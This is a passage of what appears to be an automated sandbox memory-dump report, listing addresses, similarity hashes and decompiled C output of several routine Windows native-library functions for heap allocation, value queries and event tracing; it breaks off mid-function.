0x00000000
0x05754ce9
0x05754cef
0x05754d22
0x05754d22
0x00000000
0x05754d22
0x05754cf1
0x05754cf7
0x00000000
0x00000000
0x05754cf9
0x05754cff
0x00000000
0x00000000
0x05754d05
0x05754d07
0x00000000
0x00000000
0x05754d0d
0x05754d0f
0x05754d14
0x05754d16
0x00000000
0x00000000
0x05754d1c
0x05754d1c
0x05710499
0x05710535
0x05710535
0x00000000
0x05710535
0x057104a6
0x05754d2c
0x05754d37
0x05754d39
0x05754d3b
0x00000000
0x00000000
0x05754d41
0x05754d48
0x05710527
0x0571052b
0x0571052d
0x05710530
0x05710530
0x00000000
0x0571052b
0x05754d4e
0x057104ac
0x057104ac
0x057104af
0x057104b2
0x057104b7
0x057104b9
0x057104bb
0x057104bd
0x057104bf
0x057104c5
0x057104c9
0x05754d53
0x05754d59
0x05754db9
0x05754dba
0x05754dbf
0x05754dc2
0x05754dc4
0x05754dc7
0x05754dce
0x00000000
0x05754dce
0x05754d5b
0x05754d61
0x00000000
0x00000000
0x05754d63
0x05754d69
0x00000000
0x00000000
0x05754d6b
0x05754d6e
0x05754d74
0x05754d76
0x05754d7c
0x05754d7e
0x05754d84
0x05754d89
0x05754d8c
0x05754d8d
0x05754d92
0x05754d95
0x05754d96
0x05754d98
0x05754d9a
0x05754d9f
0x05754da4
0x05754da6
0x05754da8
0x05754daf
0x05754db1
0x05754db1
0x05754daf
0x05754da6
0x05754d84
0x05754d7c
0x00000000
0x05754d74
0x057104d6
0x05754de1
0x057104dc
0x057104dc
0x057104dc
0x057104e4
0x05754deb
0x05754df1
0x05754df8
0x05754dfe
0x05754e03
0x05754e05
0x05754e17
0x05754e07
0x05754e10
0x05754e10
0x05754e1c
0x05754e1f
0x05754e35
0x05754e35
0x05754e1f
0x05754df8
0x057104f1
0x057104fa
0x05754e3f
0x05754e47
0x05754e5b
0x05754e61
0x05754e67
0x05754e69
0x05754e71
0x05754e73
0x05710500
0x05710500
0x05710500
0x057104fa
0x05710508
0x0571051d
0x0571051d
0x0571051f
0x05710524
0x00000000
0x05710524
0x05710515
0x05710517
0x05754e7a
0x05754e7c
0x00000000
0x00000000
0x05754e85
0x00000000
0x05754e85
0x00000000
0x05710517

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de7df42a8f4b620fe89c3c59f37dfeca8ceb0d9ab1a0887d9052630025aa8344
Instruction ID: 16b339b749a877501fa8074dddebe5dbb1d07872e4b152b9edf23ce0c34efc7c
Opcode Fuzzy Hash: de7df42a8f4b620fe89c3c59f37dfeca8ceb0d9ab1a0887d9052630025aa8344
Instruction Fuzzy Hash: 9591E331E04324ABDF219B6DC84CFBD7BA6BB05724F050265EE11AB2D0DBB49D80E795

Uniqueness

Uniqueness Score: -1.00%

Function 056EC600, Relevance: .2, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E056EC600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v1036;
				signed int _v1040;
				char _v1048;
				signed int _v1052;
				signed char _v1056;
				void* _v1058;
				char _v1060;
				signed int _v1064;
				void* _v1068;
				intOrPtr _v1072;
				void* _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				intOrPtr _t72;
				signed int _t74;
				intOrPtr _t77;
				signed int _t78;
				signed int _t81;
				void* _t101;
				signed int _t102;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				signed char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				void* _t117;
				char _t118;
				void* _t120;
				char _t121;
				signed int _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x57dd360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E056F6D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E0572B640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					__eflags = _t107;
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t72 =  *0x57d7b9c; // 0x0
					_t74 = L05704620(_t107, _t107, _t72 + 0x180000, _t121);
					_v1064 = _t74;
					__eflags = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1060);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1048);
					_push(_t116);
					_t122 = E05729650();
					__eflags = _t122;
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						__eflags = _t114;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *(_t102 + 4);
							__eflags = _t109 - 3;
							if(_t109 == 3) {
								L55:
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									L59:
									_t122 = 0xc0000024;
									L15:
									_t78 = _v1052;
									__eflags = _t78;
									if(_t78 != 0) {
										L057077F0( *( *[fs:0x30] + 0x18), 0, _t78);
									}
									_t68 = _t122;
									goto L4;
								}
								_t110 = _v1056;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1060 = _t118;
								__eflags = _t110;
								if(_t110 == 0) {
									L10:
									_t122 = 0x80000005;
									L11:
									_t81 = _v1040;
									__eflags = _t81;
									if(_t81 == 0) {
										goto L15;
									}
									__eflags = _t122;
									if(_t122 >= 0) {
										L14:
										 *_t81 = _t118;
										goto L15;
									}
									__eflags = _t122 - 0x80000005;
									if(_t122 != 0x80000005) {
										goto L15;
									}
									goto L14;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								}
								_push( *((intOrPtr*)(_t102 + 8)));
								_t59 = _t102 + 0xc; // 0xc
								_push(_t110);
								L54:
								E0572F3E0();
								_t125 = _t125 + 0xc;
								goto L11;
							}
							__eflags = _t109 - 7;
							if(_t109 == 7) {
								goto L55;
							}
							_t118 = 4;
							__eflags = _t109 - _t118;
							if(_t109 != _t118) {
								__eflags = _t109 - 0xb;
								if(_t109 != 0xb) {
									__eflags = _t109 - 1;
									if(_t109 == 1) {
										__eflags = _t114 - _t118;
										if(_t114 != _t118) {
											_t118 =  *((intOrPtr*)(_t102 + 8));
											_v1060 = _t118;
											__eflags = _t118 - _t77;
											if(_t118 > _t77) {
												goto L10;
											}
											_push(_t118);
											_t56 = _t102 + 0xc; // 0xc
											_push(_v1056);
											goto L54;
										}
										__eflags = _t77 - _t118;
										if(_t77 != _t118) {
											L34:
											_t122 = 0xc0000004;
											goto L15;
										}
										_t111 = _v1056;
										__eflags = _t111 & 0x00000003;
										if((_t111 & 0x00000003) == 0) {
											_v1060 = _t118;
											__eflags = _t111;
											if(__eflags == 0) {
												goto L10;
											}
											_t42 = _t102 + 0xc; // 0xc
											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
											_v1048 =  *((intOrPtr*)(_t102 + 8));
											_push(_t111);
											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
											_push(0);
											_push( &_v1048);
											_t122 = E057213C0(_t102, _t118, _t122, __eflags);
											L44:
											_t118 = _v1072;
											goto L11;
										}
										_t122 = 0x80000002;
										goto L15;
									}
									_t122 = 0xc0000024;
									goto L44;
								}
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									goto L59;
								}
								_t118 = 8;
								__eflags = _t77 - _t118;
								if(_t77 != _t118) {
									goto L34;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								}
								_t112 = _v1056;
								_v1060 = _t118;
								__eflags = _t112;
								if(_t112 == 0) {
									goto L10;
								}
								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
								goto L11;
							}
							__eflags = _t114 - _t118;
							if(_t114 != _t118) {
								goto L59;
							}
							__eflags = _t77 - _t118;
							if(_t77 != _t118) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
								goto L34;
							}
							_t113 = _v1056;
							_v1060 = _t118;
							__eflags = _t113;
							if(_t113 == 0) {
								goto L10;
							}
							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
							goto L11;
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						__eflags = _t118 - _a20;
						if(_t118 <= _a20) {
							_t114 =  *(_t102 + 4);
							_t77 = _t118;
							goto L26;
						}
						_v1060 = _t118;
						goto L10;
					}
					__eflags = _t122 - 0x80000005;
					if(_t122 != 0x80000005) {
						goto L15;
					}
					L057077F0( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1060;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E05729650();
				if(_t122 >= 0) {
					__eflags = 0;
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x056ec608
0x056ec615
0x056ec625
0x056ec62d
0x056ec635
0x056ec640
0x056ec680
0x056ec687
0x056ec688
0x056ec689
0x056ec694
0x056ec694
0x056ec642
0x056ec64a
0x056ec697
0x05757a25
0x05757a2b
0x05757a2e
0x05757a30
0x05757bea
0x05757bea
0x00000000
0x05757bea
0x05757a36
0x05757a43
0x05757a48
0x05757a4c
0x05757a4e
0x00000000
0x00000000
0x05757a58
0x05757a5a
0x05757a5b
0x05757a5c
0x05757a5d
0x05757a63
0x05757a64
0x05757a6a
0x05757a6c
0x05757a6e
0x057579cb
0x057579cb
0x057579ce
0x057579d0
0x05757a98
0x05757a9b
0x05757a9b
0x05757a9e
0x05757aa1
0x05757bbe
0x05757bbe
0x05757bc0
0x05757be0
0x05757be0
0x05757a01
0x05757a01
0x05757a05
0x05757a07
0x05757a15
0x05757a15
0x05757a1a
0x00000000
0x05757a1a
0x05757bc2
0x05757bc6
0x05757bc9
0x05757bcd
0x05757bcf
0x057579e6
0x057579e6
0x057579eb
0x057579eb
0x057579ef
0x057579f1
0x00000000
0x00000000
0x057579f3
0x057579f5
0x057579ff
0x057579ff
0x00000000
0x057579ff
0x057579f7
0x057579fd
0x00000000
0x00000000
0x00000000
0x057579fd
0x05757bd5
0x05757bd8
0x00000000
0x00000000
0x05757ba9
0x05757bac
0x05757bb0
0x05757bb1
0x05757bb1
0x05757bb6
0x00000000
0x05757bb6
0x05757aa7
0x05757aaa
0x00000000
0x00000000
0x05757ab2
0x05757ab3
0x05757ab5
0x05757aec
0x05757aef
0x05757b25
0x05757b28
0x05757b62
0x05757b64
0x05757b8f
0x05757b92
0x05757b96
0x05757b98
0x00000000
0x00000000
0x05757b9e
0x05757b9f
0x05757ba3
0x00000000
0x05757ba3
0x05757b66
0x05757b68
0x05757ae2
0x05757ae2
0x00000000
0x05757ae2
0x05757b6e
0x05757b72
0x05757b75
0x05757b81
0x05757b85
0x05757b87
0x00000000
0x00000000
0x05757b31
0x05757b34
0x05757b3c
0x05757b45
0x05757b46
0x05757b4f
0x05757b51
0x05757b57
0x05757b59
0x05757b59
0x00000000
0x05757b59
0x05757b77
0x00000000
0x05757b77
0x05757b2a
0x00000000
0x05757b2a
0x05757af1
0x05757af3
0x00000000
0x00000000
0x05757afb
0x05757afc
0x05757afe
0x00000000
0x00000000
0x05757b00
0x05757b03
0x00000000
0x00000000
0x05757b05
0x05757b09
0x05757b0d
0x05757b0f
0x00000000
0x00000000
0x05757b18
0x05757b1d
0x00000000
0x05757b1d
0x05757ab7
0x05757ab9
0x00000000
0x00000000
0x05757abf
0x05757ac1
0x00000000
0x00000000
0x05757ac3
0x05757ac6
0x00000000
0x00000000
0x05757ac8
0x05757acc
0x05757ad0
0x05757ad2
0x00000000
0x00000000
0x05757adb
0x00000000
0x05757adb
0x057579d6
0x057579d9
0x057579dc
0x05757a91
0x05757a94
0x00000000
0x05757a94
0x057579e2
0x00000000
0x057579e2
0x05757a74
0x05757a7a
0x00000000
0x00000000
0x05757a8a
0x05757a21
0x05757a21
0x00000000
0x05757a21
0x056ec650
0x056ec651
0x056ec656
0x056ec65c
0x056ec65d
0x056ec663
0x056ec664
0x056ec66a
0x056ec66e
0x057579c5
0x057579c7
0x00000000
0x057579c7
0x056ec67a
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46f149f51dfd7a608a5ea2a160b02621ff187651213fb80cf001acd4258b4502
Instruction ID: cc084becd8c665cee18f7622618a83d92a1f7033983e31de8cf50f30c563354a
Opcode Fuzzy Hash: 46f149f51dfd7a608a5ea2a160b02621ff187651213fb80cf001acd4258b4502
Instruction Fuzzy Hash: 3F8181756482419BDB29CF18C884E7B73E6FB843A0F14486EED459B241E370ED45EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05766DC9, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E05766DC9(signed int __ecx, void* __edx) {
				unsigned int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				void* _t87;
				void* _t95;
				signed char* _t96;
				signed int _t107;
				signed int _t136;
				signed char* _t137;
				void* _t157;
				void* _t161;
				void* _t167;
				intOrPtr _t168;
				void* _t174;
				void* _t175;
				signed int _t176;
				void* _t177;

				_t136 = __ecx;
				_v44 = 0;
				_t167 = __edx;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = __ecx;
				_t87 = L05704620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x248);
				_t175 = _t87;
				if(_t175 != 0) {
					_t11 = _t175 + 0x30; // 0x30
					 *((short*)(_t175 + 6)) = 0x14d4;
					 *((intOrPtr*)(_t175 + 0x20)) =  *((intOrPtr*)(_t167 + 0x10));
					 *((intOrPtr*)(_t175 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t167 + 8)) + 0xc));
					 *((intOrPtr*)(_t175 + 0x28)) = _t136;
					 *((intOrPtr*)(_t175 + 0x2c)) =  *((intOrPtr*)(_t167 + 0x14));
					E05766B4C(_t167, _t11, 0x214,  &_v8);
					_v12 = _v8 + 0x10;
					_t95 = E05707D50();
					_t137 = 0x7ffe0384;
					if(_t95 == 0) {
						_t96 = 0x7ffe0384;
					} else {
						_t96 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t175);
					_push(_v12);
					_push(0x402);
					_push( *_t96 & 0x000000ff);
					E05729AE0();
					_t87 = L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t175);
					_t176 = _v16;
					if((_t176 & 0x00000100) != 0) {
						_push( &_v36);
						_t157 = 4;
						_t87 = E0576795D( *((intOrPtr*)(_t167 + 8)), _t157);
						if(_t87 >= 0) {
							_v24 = E0576795D( *((intOrPtr*)(_t167 + 8)), 1,  &_v44);
							_v28 = E0576795D( *((intOrPtr*)(_t167 + 8)), 0,  &_v60);
							_push( &_v52);
							_t161 = 5;
							_t168 = E0576795D( *((intOrPtr*)(_t167 + 8)), _t161);
							_v20 = _t168;
							_t107 = L05704620( *[fs:0x30],  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xca0);
							_v16 = _t107;
							if(_t107 != 0) {
								_v8 = _v8 & 0x00000000;
								 *(_t107 + 0x20) = _t176;
								 *((short*)(_t107 + 6)) = 0x14d5;
								_t47 = _t107 + 0x24; // 0x24
								_t177 = _t47;
								E05766B4C( &_v36, _t177, 0xc78,  &_v8);
								_t51 = _v8 + 4; // 0x4
								_t178 = _t177 + (_v8 >> 1) * 2;
								_v12 = _t51;
								E05766B4C( &_v44, _t177 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_v12 = _v12 + _v8;
								E05766B4C( &_v60, _t178 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_t125 = _v8;
								_v12 = _v12 + _v8;
								E05766B4C( &_v52, _t178 + (_v8 >> 1) * 2 + (_v8 >> 1) * 2, 0xc78 - _v8 - _v8 - _t125,  &_v8);
								_t174 = _v12 + _v8;
								if(E05707D50() != 0) {
									_t137 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								}
								_push(_v16);
								_push(_t174);
								_push(0x402);
								_push( *_t137 & 0x000000ff);
								E05729AE0();
								L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v16);
								_t168 = _v20;
							}
							_t87 = L05702400( &_v36);
							if(_v24 >= 0) {
								_t87 = L05702400( &_v44);
							}
							if(_t168 >= 0) {
								_t87 = L05702400( &_v52);
							}
							if(_v28 >= 0) {
								return L05702400( &_v60);
							}
						}
					}
				}
				return _t87;
			}

0x05766dd4
0x05766dde
0x05766de1
0x05766de3
0x05766de6
0x05766de9
0x05766dec
0x05766def
0x05766df2
0x05766df5
0x05766dfe
0x05766e04
0x05766e09
0x05766e0d
0x05766e18
0x05766e1b
0x05766e22
0x05766e2d
0x05766e30
0x05766e36
0x05766e42
0x05766e4d
0x05766e50
0x05766e55
0x05766e5c
0x05766e6e
0x05766e5e
0x05766e67
0x05766e67
0x05766e73
0x05766e74
0x05766e77
0x05766e7c
0x05766e7d
0x05766e8e
0x05766e93
0x05766e9c
0x05766ea8
0x05766eab
0x05766eac
0x05766eb3
0x05766ecd
0x05766edc
0x05766ee2
0x05766ee5
0x05766ef2
0x05766efb
0x05766f01
0x05766f06
0x05766f0b
0x05766f11
0x05766f1a
0x05766f22
0x05766f26
0x05766f26
0x05766f33
0x05766f41
0x05766f44
0x05766f47
0x05766f54
0x05766f65
0x05766f77
0x05766f7c
0x05766f82
0x05766f91
0x05766f99
0x05766fa3
0x05766fae
0x05766fae
0x05766fba
0x05766fbb
0x05766fbc
0x05766fc1
0x05766fc2
0x05766fd3
0x05766fd8
0x05766fd8
0x05766fdf
0x05766fe8
0x05766fee
0x05766fee
0x05766ff5
0x05766ffb
0x05766ffb
0x05767004
0x00000000
0x0576700a
0x05767004
0x05766eb3
0x05766e9c
0x05767015

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: 5b00c29a1441299d43847bb9bd9a918faae3d4b70097c7eb4bd712a1d2cfda89
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: 0C717C71A00619EFCB15DFA4C988AEEBBF9FF48714F144069E905E7290DB30EA45DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0577B8D0, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E0577B8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0x57d7b9c; // 0x0
				_t124 = L05704620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E05729800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									E057295B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E057295D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L057077F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E05729910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E057295D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0x57d7b9c; // 0x0
									_t92 = L05704620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E05729910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = E056EA7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = E0577E7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = E0577E7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						E057295B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}

0x0577b8d9
0x0577b8e4
0x00000000
0x0577b8e6
0x0577b8f3
0x0577b8f5
0x0577b8f5
0x0577b8f8
0x0577b920
0x0577b924
0x0577b936
0x0577b939
0x0577b93d
0x0577b948
0x0577b9a0
0x0577b9a0
0x0577b9a4
0x0577b9bf
0x0577b9c4
0x0577b9c6
0x0577b9cd
0x0577b9d1
0x0577bad4
0x0577bad8
0x0577bada
0x0577badc
0x0577badc
0x0577badf
0x0577bae0
0x0577bae2
0x0577bae4
0x0577baec
0x0577baee
0x0577baf0
0x0577baf0
0x0577baec
0x0577bafb
0x0577bafc
0x0577bafe
0x0577bb01
0x0577bb01
0x00000000
0x0577bb06
0x0577b9d7
0x0577b9db
0x0577b9db
0x0577b9de
0x0577b9de
0x0577b9e4
0x0577b9e7
0x0577b9ea
0x0577b9ec
0x0577b9ef
0x0577b9f3
0x0577ba1b
0x0577ba1b
0x0577ba23
0x0577ba24
0x0577ba27
0x0577ba2a
0x0577ba2b
0x0577ba2e
0x0577ba30
0x0577ba37
0x0577ba3f
0x0577ba9c
0x0577baa2
0x0577bb13
0x0577bb15
0x0577baae
0x0577baae
0x0577bab3
0x0577bab5
0x0577baba
0x0577bac8
0x0577bac8
0x0577baba
0x0577bacd
0x0577bacf
0x00000000
0x0577bacf
0x0577bb1a
0x00000000
0x0577bb1c
0x0577baa7
0x0577bb11
0x00000000
0x0577bb11
0x0577baa9
0x00000000
0x00000000
0x00000000
0x00000000
0x0577ba41
0x0577ba41
0x0577ba41
0x0577ba58
0x0577ba5d
0x0577ba62
0x00000000
0x00000000
0x0577ba64
0x0577ba67
0x0577ba68
0x0577ba69
0x0577ba6c
0x0577ba6f
0x0577ba71
0x0577ba78
0x0577ba80
0x00000000
0x00000000
0x0577ba90
0x0577ba90
0x0577ba97
0x00000000
0x0577ba97
0x0577b9f5
0x0577b9f7
0x0577b9f7
0x0577b9fa
0x0577ba03
0x0577ba07
0x0577ba0c
0x0577ba10
0x0577ba17
0x00000000
0x0577b9f7
0x0577b9a6
0x0577b9a8
0x0577b9af
0x0577b9b3
0x00000000
0x00000000
0x0577b9b9
0x00000000
0x0577b9b9
0x0577b94d
0x0577b98f
0x0577b995
0x0577b999
0x0577b960
0x0577b967
0x0577b968
0x0577b96a
0x00000000
0x0577b96a
0x0577b99b
0x0577b99e
0x00000000
0x00000000
0x00000000
0x0577b99e
0x0577b951
0x0577b954
0x0577b95a
0x0577b95e
0x0577b972
0x0577b979
0x0577b97d
0x0577b97f
0x0577b980
0x0577b982
0x0577b984
0x00000000
0x0577b984
0x00000000
0x0577b926
0x00000000
0x0577b926

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fffe631702ac8ed7e2d2e9831adda43dd55dbebcdcfb9a3e051dd7a7a10d2520
Instruction ID: 824497b659331dc6cfcb1e0c93fa438bf98797173a9088f6122a52b10d344778
Opcode Fuzzy Hash: fffe631702ac8ed7e2d2e9831adda43dd55dbebcdcfb9a3e051dd7a7a10d2520
Instruction Fuzzy Hash: E171F032200B09EFDB21DF25D849F66B7E6FF44720F154528E66A876E0EB71E940EB50

Uniqueness

Uniqueness Score: -1.00%

Function 056E52A5, Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E056E52A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					E056FEEF0(0x57d79a0);
					_t104 =  *0x57d8210; // 0x5282cf0
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E056FEB70(_t93, 0x57d79a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E05729890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									E056FEEF0(0x57d79a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E056FEB70(0, 0x57d79a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t13 = _t104 + 0xc; // 0x5282cfd
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E0571F0BF(_t13,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
